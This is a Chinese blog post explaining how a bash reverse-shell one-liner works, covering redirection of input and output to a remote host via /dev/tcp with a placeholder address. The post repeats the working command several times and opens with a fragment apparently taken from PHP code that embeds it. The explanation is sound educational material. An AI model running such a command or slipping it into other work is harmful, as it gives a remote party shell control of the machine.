反弹bash shell解释
创始人
2025-05-28 12:51:02
参考:
https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265

你是否使用过类似代码:

&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1' ") ?>

其中

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

是一段用来反弹bash到目标ip的命令。意为使用bash打开新的bash,把标准输出重定向到远程主机,标准输入重定向到标准输出。实现远程主机输入命令,在本机执行,执行结果发送给远程主机。

/bin/bash -c ""

即使用bash执行引号里的命令。

bash -i

意为打开可交互的bash。

/bin/bash -c 'bash .........'

相当于在命令行窗口直接输入bash并回车运行,在bash中执行了“打开bash”的操作。

>&

大于号是重定向符号,意为对标准输出进行重定向,重定向到&符号后面所给出的目标。&符号用来表明后面跟的是文件描述符(file descriptor)。>1>&1是有区别的,分别代表“重定向到文件名为1的文件中,若不存在该文件则进行创建,若存在该文件则对内容进行覆盖”和“重定向到标准输出”,使用&进行区分。&跟在>后的时候,被解释为重定向到文件描述符所指的目标。

/dev/tcp/xxx.xxx.xxx.xxx/port

是伪设备,代表远程主机。

>&  /dev/tcp/xxx.xxx.xxx.xxx/port

表示把标准输出重定向到远程主机。

0>&1

表示把标准输入重定向到标准输出。

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

有两个重定向命令,>& /dev/tcp/xxx.xxx.xxx.xxx/port执行过后,标准输出已经重定向到远程主机,再执行0>&1,把标准输入重定向到标准输出,执行后,标准输入和标准输出都重定向到了远程主机。

注意,下列命令作用不同:(把0>&1放到>& /dev/tcp/xxx.xxx.xxx.xxx/port前面)

/bin/bash -c 'bash -i  0>&1 >& /dev/tcp/xxx.xxx.xxx.xxx/port'

这条命令先把标准输入重定向到标准输出,再把标准输出重定向到远程主机,执行后,标准输出的确定向到了远程主机,但标准输入未发生改变。

注:

文件描述符:
0 标准输入
1 标准输出
2 标准错误

在这里插入图片描述

相关内容

热门资讯

南昌市任免一批干部 南昌市人民代表大会常务委员会任免名单(2025年12月26日南昌市第十六届人民代表大会常务委员会第三...
张若昀马思纯携手揭开尘封罪案,... 转自:扬子晚报由腾讯视频出品,艺达影视、弘道影业联合出品,李路担任导演兼总制片人,原著作者陈宇编剧,...
河北鸡泽:政策引才+服务护航 ... (来源:邯郸网络广播电视台)转自:邯郸网络广播电视台“从村居民房改造的简易作坊,到产品远销海外的现代...
鸡泽助力返乡学子扎根创业 (来源:邯郸日报)转自:邯郸日报 本报讯(通讯员魏晓)“从简易作坊发展为现代化企业,是家乡的引才政策...
最新或2023(历届)教育部政... 本年度报告是根据《中华人民共和国政府信息公开条例》(以下简称《政府信息公开条例》)要求,由中华人民共...